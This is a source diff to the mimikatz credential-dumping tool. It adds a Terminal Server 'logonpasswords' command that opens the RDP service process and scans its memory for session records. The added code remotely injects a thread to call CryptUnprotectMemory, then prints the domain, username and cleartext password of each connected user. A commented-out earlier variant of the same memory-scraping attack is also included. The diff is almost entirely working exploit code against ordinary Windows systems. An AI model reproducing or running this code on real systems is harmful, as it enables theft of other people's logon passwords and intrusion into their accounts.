diff --git a/mimikatz/mimikatz.vcxproj b/mimikatz/mimikatz.vcxproj index 9becd6c..e2a8f14 100644 --- a/mimikatz/mimikatz.vcxproj +++ b/mimikatz/mimikatz.vcxproj @@ -120,6 +120,7 @@ + @@ -233,6 +234,7 @@ + diff --git a/mimikatz/mimikatz.vcxproj.filters b/mimikatz/mimikatz.vcxproj.filters index 2529a0f..099d09c 100644 --- a/mimikatz/mimikatz.vcxproj.filters +++ b/mimikatz/mimikatz.vcxproj.filters @@ -320,6 +320,9 @@ local modules\dpapi\packages + + common modules + @@ -659,6 +662,9 @@ local modules\dpapi\packages + + common modules + diff --git a/mimikatz/modules/kuhl_m_ts.c b/mimikatz/modules/kuhl_m_ts.c index b65799d..a2ba13a 100644 --- a/mimikatz/modules/kuhl_m_ts.c +++ b/mimikatz/modules/kuhl_m_ts.c @@ -9,6 +9,8 @@ const KUHL_M_C kuhl_m_c_ts[] = { {kuhl_m_ts_multirdp, L"multirdp", L"[experimental] patch Terminal Server service to allow multiples users"}, {kuhl_m_ts_sessions, L"sessions", NULL}, {kuhl_m_ts_remote, L"remote", NULL}, + {kuhl_m_ts_logonpasswords, L"logonpasswords", L"[experimental] try to get passwords from running sessions"}, +// {kuhl_m_ts_logonpasswords2, L"logonpasswords2", L"[experimental] try to get passwords from running sessions"}, }; const KUHL_M kuhl_m_ts = { L"ts", L"Terminal Server module", NULL, @@ -170,4 +172,238 @@ NTSTATUS kuhl_m_ts_remote(int argc, wchar_t * argv[]) } else PRINT_ERROR(L"Argument id is needed\n"); return STATUS_SUCCESS; -} \ No newline at end of file +} + +const BYTE MyPattern[] = {0x00, 0x00, 0x00, 0x00, 0xbb, 0x47, 0x0b, 0x00}; +NTSTATUS kuhl_m_ts_logonpasswords(int argc, wchar_t * argv[]) +{ + SERVICE_STATUS_PROCESS ServiceStatusProcess; + HANDLE hProcess; + STRUCT_DATASEARCH myDataSearch = {NULL, {(LPVOID) MyPattern, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}}; + + if(kull_m_service_getUniqueForName(L"TermService", &ServiceStatusProcess)) + { + if(ServiceStatusProcess.dwCurrentState >= SERVICE_RUNNING) + { + if(hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION | PROCESS_CREATE_THREAD, FALSE, ServiceStatusProcess.dwProcessId)) + { + if(kull_m_memory_open(KULL_M_MEMORY_TYPE_PROCESS, hProcess, &myDataSearch.hMemory)) + { + kull_m_process_getMemoryInformations(myDataSearch.hMemory, kuhl_m_ts_logonpasswords_MemoryAnalysis, &myDataSearch); + kull_m_memory_close(myDataSearch.hMemory); + } + } + else PRINT_ERROR_AUTO(L"OpenProcess"); + } + else PRINT_ERROR(L"Service is not running\n"); + } + else PRINT_ERROR_AUTO(L"kull_m_service_getUniqueForName"); + return STATUS_SUCCESS; +} + +BOOL CALLBACK kuhl_m_ts_logonpasswords_MemoryAnalysis(PMEMORY_BASIC_INFORMATION pMemoryBasicInformation, PVOID pvArg) +{ + PSTRUCT_DATASEARCH pMyDataSearch = (PSTRUCT_DATASEARCH) pvArg; + KULL_M_MEMORY_SEARCH sMemory; + + if((pMemoryBasicInformation->Type == MEM_PRIVATE) && (pMemoryBasicInformation->State != MEM_FREE) && (pMemoryBasicInformation->Protect == PAGE_READWRITE)) + { + sMemory.kull_m_memoryRange.kull_m_memoryAdress.hMemory = pMyDataSearch->hMemory; + sMemory.kull_m_memoryRange.kull_m_memoryAdress.address = pMemoryBasicInformation->BaseAddress; + sMemory.kull_m_memoryRange.size = pMemoryBasicInformation->RegionSize; + + if(kull_m_memory_search(&pMyDataSearch->aPattern, sizeof(MyPattern), &sMemory, TRUE)) // lucky only one by segment + { + kuhl_m_ts_logonpasswords_MemoryAnalysis_candidate(pMyDataSearch->hMemory, sMemory.result); + } + } + return TRUE; +} + +void kuhl_m_ts_logonpasswords_MemoryAnalysis_candidate(PKULL_M_MEMORY_HANDLE hProcess, PVOID Addr) +{ + WTS_KIWI clientData; + KULL_M_MEMORY_ADDRESS aLocal = {&clientData, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}, aProcess = {Addr, hProcess}; + BOOL decStatus = TRUE; + + if(aProcess.address) + { + if(kull_m_memory_copy(&aLocal, &aProcess, sizeof(WTS_KIWI))) + { + if(clientData.cbDomain < sizeof(clientData.Domain)) + { + if(clientData.cbUsername < sizeof(clientData.UserName)) + { + if(clientData.cbPassword < sizeof(clientData.Password)) + { + kprintf( + L"\n Domain : %.*s\n" + L" UserName : %.*s\n", + clientData.cbDomain / sizeof(wchar_t), clientData.Domain, + clientData.cbUsername/ sizeof(wchar_t), clientData.UserName + ); + + if(clientData.cbPassword && (MIMIKATZ_NT_BUILD_NUMBER >= KULL_M_WIN_MIN_BUILD_10)) + { + decStatus = kull_m_crypto_remote_CryptUnprotectMemory(hProcess, clientData.Password, sizeof(clientData.Password), CRYPTPROTECTMEMORY_SAME_PROCESS); + } + + if(decStatus) + { + kprintf(L" Password : %.*s\n", clientData.cbPassword / sizeof(wchar_t), clientData.Password); + } + } + } + } + } + } +} + +/* +const char c_CRDPWDUMXStack[] = "CRDPWDUMXStack"; +NTSTATUS kuhl_m_ts_logonpasswords(int argc, wchar_t * argv[]) +{ + SERVICE_STATUS_PROCESS ServiceStatusProcess; + HANDLE hProcess; + KULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION iModule; + + KULL_M_MEMORY_ADDRESS aPattern = {(LPVOID) c_CRDPWDUMXStack, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}; + KULL_M_MEMORY_SEARCH sMemory = {{{NULL, NULL}, 0}, NULL}; + + STRUCT_MYSEARCH mySearch = {NULL, 0xdbcaabcd, 0x00000001}; + STRUCT_DATASEARCH myDataSearch = {NULL, {&mySearch, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}}; + + if(kull_m_service_getUniqueForName(L"TermService", &ServiceStatusProcess)) + { + if(ServiceStatusProcess.dwCurrentState >= SERVICE_RUNNING) + { + if(hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION | PROCESS_CREATE_THREAD, FALSE, ServiceStatusProcess.dwProcessId)) + { + if(kull_m_memory_open(KULL_M_MEMORY_TYPE_PROCESS, hProcess, &sMemory.kull_m_memoryRange.kull_m_memoryAdress.hMemory)) + { + if(kull_m_process_getVeryBasicModuleInformationsForName(sMemory.kull_m_memoryRange.kull_m_memoryAdress.hMemory, (MIMIKATZ_NT_BUILD_NUMBER >= KULL_M_WIN_BUILD_10_1809) ? L"rdpserverbase.dll" : L"rdpcorets.dll", &iModule)) + { + kprintf(L"Module @ 0x%p (%u)\n", iModule.DllBase.address, iModule.SizeOfImage); + + sMemory.kull_m_memoryRange.kull_m_memoryAdress.address = iModule.DllBase.address; + sMemory.kull_m_memoryRange.size = iModule.SizeOfImage; + + if(kull_m_memory_search(&aPattern, sizeof(c_CRDPWDUMXStack), &sMemory, TRUE)) + { + myDataSearch.hMemory = sMemory.kull_m_memoryRange.kull_m_memoryAdress.hMemory; + mySearch.pCRDPWDUMXStack = (LPCSTR) sMemory.result; + kprintf(L"CRDPWDUMXStack @ 0x%p\n", mySearch.pCRDPWDUMXStack); + kull_m_process_getMemoryInformations(myDataSearch.hMemory, kuhl_m_ts_logonpasswords_MemoryAnalysis, &myDataSearch); + } + } + else PRINT_ERROR_AUTO(L"kull_m_process_getVeryBasicModuleInformationsForName"); + kull_m_memory_close(myDataSearch.hMemory); + } + } + else PRINT_ERROR_AUTO(L"OpenProcess"); + } + else PRINT_ERROR(L"Service is not running\n"); + } + else PRINT_ERROR_AUTO(L"kull_m_service_getUniqueForName"); + + return STATUS_SUCCESS; +} + +BOOL CALLBACK kuhl_m_ts_logonpasswords_MemoryAnalysis(PMEMORY_BASIC_INFORMATION pMemoryBasicInformation, PVOID pvArg) +{ + PSTRUCT_DATASEARCH pMyDataSearch = (PSTRUCT_DATASEARCH) pvArg; + KULL_M_MEMORY_SEARCH sMemory; + + if((pMemoryBasicInformation->Type == MEM_PRIVATE) && (pMemoryBasicInformation->State != MEM_FREE) && (pMemoryBasicInformation->Protect == PAGE_READWRITE)) + { + sMemory.kull_m_memoryRange.kull_m_memoryAdress.hMemory = pMyDataSearch->hMemory; + sMemory.kull_m_memoryRange.kull_m_memoryAdress.address = pMemoryBasicInformation->BaseAddress; + sMemory.kull_m_memoryRange.size = pMemoryBasicInformation->RegionSize; + + if(kull_m_memory_search(&pMyDataSearch->aPattern, sizeof(STRUCT_MYSEARCH), &sMemory, TRUE)) + { + kuhl_m_ts_logonpasswords_MemoryAnalysis_candidate(pMyDataSearch->hMemory, (PBYTE) sMemory.result - FIELD_OFFSET(UNK_STRUCT0, pCRDPWDUMXStack)); + } + } + return TRUE; +} + +void kuhl_m_ts_logonpasswords_MemoryAnalysis_candidate(PKULL_M_MEMORY_HANDLE hProcess, PVOID Addr) +{ + UNK_STRUCT0 unkStruct0; + PVOID unk0; + WTS_KIWI clientData; + KULL_M_MEMORY_ADDRESS aLocal = {&unkStruct0, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}, aProcess = {Addr, hProcess}; + + if(Addr) + { + kprintf(L"\n[ %p ]\n", Addr); + //kprintf(L"\nEntry\n=====\n"); + if(kull_m_memory_copy(&aLocal, &aProcess, sizeof(UNK_STRUCT0))) + { + kprintf(L" unkp0 : %p\n", unkStruct0.unkp0); + kprintf(L" unkp1 : %p\n", unkStruct0.unkp1); + + kprintf(L" pCRDPWDUMXStack : %p\n", unkStruct0.pCRDPWDUMXStack); + kprintf(L" unk0 : 0x%08x\n", unkStruct0.unk0); + kprintf(L" unk1 : 0x%08x\n", unkStruct0.unk1); + + kprintf(L" unkThis0 : %p\n", unkStruct0.unkThis0); + kprintf(L" unk2 : 0x%08x\n", unkStruct0.unk2); + + kprintf(L" unkp2 : %p\n", unkStruct0.unkp2); + kprintf(L" ImageBase : %p\n", unkStruct0.ImageBase); + kprintf(L" unkp3 : %p\n", unkStruct0.unkp3); + kprintf(L" unkp4 : %p\n", unkStruct0.unkp4); + kprintf(L" unkp5 : %p\n", unkStruct0.unkp5); + + kprintf(L" unk3 : 0x%08x\n", unkStruct0.unk3); + kprintf(L" unk4 : 0x%08x\n", unkStruct0.unk4); + kprintf(L" unk5 : 0x%08x\n", unkStruct0.unk5); + kprintf(L" unk6 : 0x%08x\n", unkStruct0.unk6); + kprintf(L" unk7 : 0x%08x\n", unkStruct0.unk7); + + kprintf(L" unkp6 : %p\n", unkStruct0.unkp6); + kprintf(L" unkp7 : %p\n", unkStruct0.unkp7); + kprintf(L" unkp8 : %p\n", unkStruct0.unkp8); + kprintf(L" unkp9 : %p\n", unkStruct0.unkp9); + kprintf(L" unkp10 : %p\n", unkStruct0.unkp10); + kprintf(L" + 1160 : %p\n", (PBYTE) unkStruct0.unkp10 + 1160); + kprintf(L" unkp11 : %p\n", unkStruct0.unkp11); + kprintf(L" unkp12 : %p\n", unkStruct0.unkp12); + + aLocal.address = &unk0; + aProcess.address = (PBYTE) unkStruct0.unkp10 + 1160; // 2019 + //aProcess.address = (PBYTE) unkStruct0.unkp8 + 1160; // 2016 + + + if(aProcess.address) + { + if(kull_m_memory_copy(&aLocal, &aProcess, sizeof(PVOID))) + { + aLocal.address = &clientData; + aProcess.address = unk0; + + if(aProcess.address) + { + if(kull_m_memory_copy(&aLocal, &aProcess, sizeof(WTS_KIWI))) + { + kull_m_string_wprintf_hex(&clientData, 8, 1); kprintf(L"\n"); + + kprintf(L" 0 : 0x%08x\n", clientData.unk0); + kprintf(L" Magic : 0x%08x\n", clientData.unk1); + kprintf(L" Domain : %.*s\n", clientData.cbDomain / sizeof(wchar_t), clientData.Domain); + kprintf(L" UserName : %.*s\n", clientData.cbUsername/ sizeof(wchar_t), clientData.UserName); + // kprintf(L" Password(e): "); kull_m_string_wprintf_hex(clientData.Password, sizeof(clientData.Password), 0); kprintf(L"\n"); + if(kull_m_crypto_remote_CryptUnprotectMemory(hProcess, clientData.Password, sizeof(clientData.Password), CRYPTPROTECTMEMORY_SAME_PROCESS)) + { + kprintf(L" Password : %.*s\n", clientData.cbPassword / sizeof(wchar_t), clientData.Password); + } + } + } + } + } + } + } +} +*/ \ No newline at end of file diff --git a/mimikatz/modules/kuhl_m_ts.h b/mimikatz/modules/kuhl_m_ts.h index c5ce8f0..622f799 100644 --- a/mimikatz/modules/kuhl_m_ts.h +++ b/mimikatz/modules/kuhl_m_ts.h @@ -5,16 +5,21 @@ */ #pragma once #include "kuhl_m.h" -#include "../modules/kull_m_patch.h" -#include "../modules/kull_m_service.h" -#include "../modules/kull_m_process.h" -#include "../modules/kull_m_memory.h" +#include "../../modules/kull_m_patch.h" +#include "../../modules/kull_m_service.h" +#include "../../modules/kull_m_process.h" +#include "../../modules/kull_m_memory.h" +#include "../../modules/kull_m_crypto_remote.h" const KUHL_M kuhl_m_ts; NTSTATUS kuhl_m_ts_multirdp(int argc, wchar_t * argv[]); NTSTATUS kuhl_m_ts_sessions(int argc, wchar_t * argv[]); NTSTATUS kuhl_m_ts_remote(int argc, wchar_t * argv[]); +NTSTATUS kuhl_m_ts_logonpasswords(int argc, wchar_t * argv[]); + +BOOL CALLBACK kuhl_m_ts_logonpasswords_MemoryAnalysis(PMEMORY_BASIC_INFORMATION pMemoryBasicInformation, PVOID pvArg); +void kuhl_m_ts_logonpasswords_MemoryAnalysis_candidate(PKULL_M_MEMORY_HANDLE hProcess, PVOID Addr); #define LOGONID_CURRENT ((ULONG) -1) #define SERVERHANDLE_CURRENT ((HANDLE) NULL) @@ -194,4 +199,62 @@ extern BOOLEAN WINAPI WinStationQueryInformationW(IN HANDLE hServer, IN ULONG Se extern BOOLEAN WINAPI WinStationSetInformationW(IN HANDLE hServer, IN ULONG SessionId, IN WINSTATIONINFOCLASS WinStationInformationClass, IN PVOID pWinStationInformation, IN ULONG WinStationInformationLength); extern LPWSTR NTAPI RtlIpv4AddressToStringW(IN const IN_ADDR *Addr, OUT LPWSTR S); -extern LPWSTR NTAPI RtlIpv6AddressToStringW(IN const PVOID /*IN6_ADDR **/Addr, OUT LPWSTR S); \ No newline at end of file +extern LPWSTR NTAPI RtlIpv6AddressToStringW(IN const PVOID /*IN6_ADDR **/Addr, OUT LPWSTR S); + +typedef struct _STRUCT_DATASEARCH { + PKULL_M_MEMORY_HANDLE hMemory; + KULL_M_MEMORY_ADDRESS aPattern; +} STRUCT_DATASEARCH, *PSTRUCT_DATASEARCH; + +#define WTS_DOMAIN_LENGTH 255 +#define WTS_USERNAME_LENGTH 255 +#define WTS_PASSWORD_LENGTH 255 +#pragma pack(push, 2) +typedef struct _WTS_KIWI { + DWORD unk0; + DWORD unk1; + WORD cbDomain; + WORD cbUsername; + WORD cbPassword; + DWORD unk2; + WCHAR Domain[WTS_DOMAIN_LENGTH + 1]; + WCHAR UserName[WTS_USERNAME_LENGTH + 1]; + WCHAR Password[WTS_PASSWORD_LENGTH + 1]; +} WTS_KIWI, *PWTS_KIWI; +#pragma pack(pop) + +/* +typedef struct _STRUCT_MYSEARCH { + LPCSTR pCRDPWDUMXStack; // "CRDPWDUMXStack" + DWORD unk0; // 0xdbcaabcd + DWORD unk1; // 0x00000001 +} STRUCT_MYSEARCH, *PSTRUCT_MYSEARCH; + +typedef struct _UNK_STRUCT0 { // 0x2f8 + PVOID unkp0; // &CTSAsyncResultImpl::`vftable'{for `INonDelegatingUnknown'}; + PVOID unkp1; // &CTSUnknownCrossModule::`vftable'{for `CTSObject'}; + LPCSTR pCRDPWDUMXStack; // "CRDPWDUMXStack" + DWORD unk0; // 0xdbcaabcd + DWORD unk1; // 0x00000001 + PVOID unkThis0; // this + DWORD unk2; // 0, 2 ? + PVOID unkp2; // &CTSUnknownCrossModule::`vftable' + PVOID ImageBase; // + PVOID unkp3; // &CRDPWDUMXStack::`vftable'{for `IRDPWDUMX_StackEx'}; + PVOID unkp4; // &CRDPWDUMXStack::`vftable'{for `IRDPENCNetStreamEvents'}; + PVOID unkp5; // &CRDPWDUMXStack::`vftable'{for `IRDPNetworkDetectTransport'}; + DWORD unk3; // 1 ? + DWORD unk4; // ? + DWORD unk5; // 1 ? + DWORD unk6; // 59 ? + DWORD unk7; // + // align + PVOID unkp6; // + PVOID unkp7; // + PVOID unkp8; + PVOID unkp9; + PVOID unkp10; /// :) + PVOID unkp11; + PVOID unkp12; +} UNK_STRUCT0, *PUNK_STRUCT0; +*/ \ No newline at end of file diff --git a/modules/kull_m_crypto_remote.c b/modules/kull_m_crypto_remote.c new file mode 100644 index 0000000..c31b0de --- /dev/null +++ b/modules/kull_m_crypto_remote.c @@ -0,0 +1,54 @@ +/* Benjamin DELPY `gentilkiwi` + https://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : https://creativecommons.org/licenses/by/4.0/ +*/ +#include "kull_m_crypto_remote.h" + +#pragma optimize("", off) +DWORD WINAPI kull_m_crypto_remote_thread_CryptProtectMemory_Generic(PREMOTE_LIB_DATA lpParameter) // to Protect & Unprotect +{ + lpParameter->output.outputData = lpParameter->input.inputData; + lpParameter->output.outputSize = lpParameter->input.inputSize; + lpParameter->output.outputStatus = ((PCRYPTUNPROTECTMEMORY) 0x4141414141414141)(lpParameter->input.inputData, lpParameter->input.inputSize, lpParameter->input.inputDword); + + return STATUS_SUCCESS; +} +DWORD kull_m_crypto_remote_thread_CryptProtectMemory_Generic_end(){return 'kipr';} +#pragma optimize("", on) + +BOOL WINAPI kull_m_crypto_remote_CryptProtectMemory_Generic(__in PKULL_M_MEMORY_HANDLE hProcess, __in BOOL bIsProtect, __inout LPVOID pDataIn, __in DWORD cbDataIn, __in DWORD dwFlags) +{ + BOOL status = FALSE; + PREMOTE_LIB_INPUT_DATA iData; + REMOTE_LIB_OUTPUT_DATA oData; + + REMOTE_EXT extensions[] = { + {L"dpapi.dll", "CryptProtectMemory", (PVOID) 0x4141414141414141, NULL}, + {L"dpapi.dll", "CryptUnprotectMemory", (PVOID) 0x4141414141414141, NULL}, + }; + MULTIPLE_REMOTE_EXT extForCb = {1, bIsProtect ? &extensions[0] : &extensions[1]}; + KULL_M_MEMORY_ADDRESS aRemoteFunc; + + if(kull_m_remotelib_CreateRemoteCodeWitthPatternReplace(hProcess, kull_m_crypto_remote_thread_CryptProtectMemory_Generic, (DWORD) ((PBYTE) kull_m_crypto_remote_thread_CryptProtectMemory_Generic_end - (PBYTE) kull_m_crypto_remote_thread_CryptProtectMemory_Generic), &extForCb, &aRemoteFunc)) + { + if(iData = kull_m_remotelib_CreateInput(NULL, dwFlags, cbDataIn, pDataIn)) + { + if(kull_m_remotelib_create(&aRemoteFunc, iData, &oData)) + { + status = (BOOL) oData.outputStatus; + + if(status) + { + RtlCopyMemory(pDataIn, oData.outputData, min(cbDataIn, oData.outputSize)); + } + // LocalFree oData.outputData ? + } + LocalFree(iData); + } + kull_m_memory_free(&aRemoteFunc); + } + else PRINT_ERROR(L"kull_m_remotelib_CreateRemoteCodeWitthPatternReplace\n"); + + return status; +} \ No newline at end of file diff --git a/modules/kull_m_crypto_remote.h b/modules/kull_m_crypto_remote.h new file mode 100644 index 0000000..17d2859 --- /dev/null +++ b/modules/kull_m_crypto_remote.h @@ -0,0 +1,16 @@ +/* Benjamin DELPY `gentilkiwi` + https://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : https://creativecommons.org/licenses/by/4.0/ +*/ +#pragma once +#include "globals.h" +#include "kull_m_remotelib.h" + +//typedef BOOL (WINAPI * PCRYPTPROTECTMEMORY) (__inout LPVOID pDataIn, __in DWORD cbDataIn, __in DWORD dwFlags); +typedef BOOL (WINAPI * PCRYPTUNPROTECTMEMORY) (__inout LPVOID pDataIn, __in DWORD cbDataIn, __in DWORD dwFlags); + +BOOL WINAPI kull_m_crypto_remote_CryptProtectMemory_Generic(__in PKULL_M_MEMORY_HANDLE hProcess, __in BOOL bIsProtect, __inout LPVOID pDataIn, __in DWORD cbDataIn, __in DWORD dwFlags); + +#define kull_m_crypto_remote_CryptProtectMemory(hProcess, pDataIn, cbDataIn, dwFlags) kull_m_crypto_remote_CryptProtectMemory_Generic(hProcess, TRUE, pDataIn, cbDataIn, dwFlags) +#define kull_m_crypto_remote_CryptUnprotectMemory(hProcess, pDataIn, cbDataIn, dwFlags) kull_m_crypto_remote_CryptProtectMemory_Generic(hProcess, FALSE, pDataIn, cbDataIn, dwFlags) \ No newline at end of file